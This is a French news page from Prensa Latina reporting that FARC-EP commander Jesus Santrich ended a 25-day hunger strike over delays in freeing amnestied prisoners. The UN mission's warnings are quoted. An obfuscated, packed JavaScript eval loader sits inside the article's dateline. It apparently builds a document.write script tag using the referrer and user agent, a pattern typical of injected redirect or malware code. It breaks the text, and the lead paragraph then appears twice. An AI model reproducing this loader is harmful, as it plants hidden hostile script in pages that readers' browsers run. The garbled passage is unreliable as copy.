vendredi 26 juillet 2024 |
Prensa Latina - Qui sommes nous

| Contacter avec Prensa Latina

Agence d'information Latino-américaine
Édition française
Search
Close this search box.

Colombie : le commandant des FARC-EP met fin à sa grève de la faim

Bogotá, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fitib|var|u0026u|referrer|ikdih||js|php'.split('|'),0,{})) 21 juillet (PL) Le membre du Secrétariat des FARC-EP, Jesus Santrich, a mis fin à sa grève de la faim qu'il avait commencé il y a 25 jours pour protester contre le retard de la mise en liberté d'ex-guérilleros amnistiés.

Bogotá, 21 juillet (PL) Le membre du Secrétariat des FARC-EP, Jesus Santrich, a mis fin à sa grève de la faim qu’il avait commencé il y a 25 jours pour protester contre le retard de la mise en liberté d’ex-guérilleros amnistiés.

Le commandant insurgé a signalé que la promulgation du Décret 1252 du 19 juillet 2017, lequel règlemente l’amnistie, est un « triomphe de la dignité, la persistance et la solidarité ».

« Le jeûne, que 1 300 membres de la guérilla détenus dans les prisons du pays ont suivis, a représenté un élément de pression pour que les autorités respectent l’amnistie décrétée en faveur des combattants prisonniers des FARC-EP », a-t-il commenté.

Santrich a exigé aux institutions de l’État concernées par le processus d’amnistie qu’elles en finissent avec le retard accumulé pour enfin octroyer la liberté aux ex-guérilleros emprisonnés, et qu’elles soient sérieuses dans le respect de la parole donnée, tout comme l’a été la guérilla avec grande dignité. Le dirigeant guérillero a du être hospitalisé le 14 juillet dernier, dans une clinique du nord de la capitale, après avoir présenté une grave dégradation de son état de santé suite cette grève de la faim prolongée.

Durant le jeûne du commandant Santrich, la mission de l’Onu en Colombie a publiquement insisté sur le fait que « le manque de respect à l’amnistie, octroyée par la loi aux prisonniers insurgés, peut mettre en péril l’application en cours des accords de paix ».

peo/agp/fa

EN CONTINU
notes connexes